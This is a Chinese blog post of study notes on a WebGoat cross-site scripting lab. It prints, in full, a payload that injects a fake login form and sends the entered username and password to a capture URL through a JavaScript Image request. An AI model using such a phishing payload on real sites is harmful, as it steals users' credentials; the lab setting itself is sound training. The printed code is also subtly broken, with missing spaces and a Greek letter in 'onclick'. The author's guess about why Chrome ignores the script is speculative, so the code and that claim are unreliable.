【WebGoat筆記】--- Cross-Site Scripting(XSS)

 

目標:

僞造一個登陸界面,要求用戶輸入用戶名和密碼,將數據提交到http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE

 

解決步驟:

首先:隨意輸入搜索內容,如:123.


打開源代碼,檢測是否有未關閉的標籤。由於這是一個入門級的練手任務,代碼漏洞百出,這一層就不用考慮了。

第二步:嘗試在搜索欄中插入JavaScript代碼,比如通用的:<script>alert("XSS!");</script>

成功報出提示信息:

值得注意的是,JS腳本語言的插入在我的機器上只能用IE實行,在chrome上則沒有任何反應。可能是chrome所用腳本語言有所區別。

 

第三步:構造代碼,僞造一個登陸界面:

<form><br><br><HR><H3>Thisfeature requires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR> 
其中,οnclick="hack()"是用戶點擊登錄之後的按鈕行爲,具體函數在隨後構建。


第四步:繼續完善欺騙代碼,構建JS函數,將獲取的用戶名和密碼提交到相應的鏈接上。最後的輸入代碼如下:

<script>functionhack(){alert("Had this been a real attack... Your credentials were juststolen. User Name="+document.forms[1].user.value+"Password="+document.forms[1].pass.value);var XSSImage=newImage();XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR> 

這樣,當被欺騙的用戶輸入用戶名和密碼之後,將報出提示信息,並將用戶名和密碼發送到相應鏈接。

webgoat的提示說,如果創建一個image:XSSImage=newImage(),並聲明XSSImage.src=SOME_URL那麼JavaScript會執行一個提交。對JS語言不熟,這個今後再研究。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章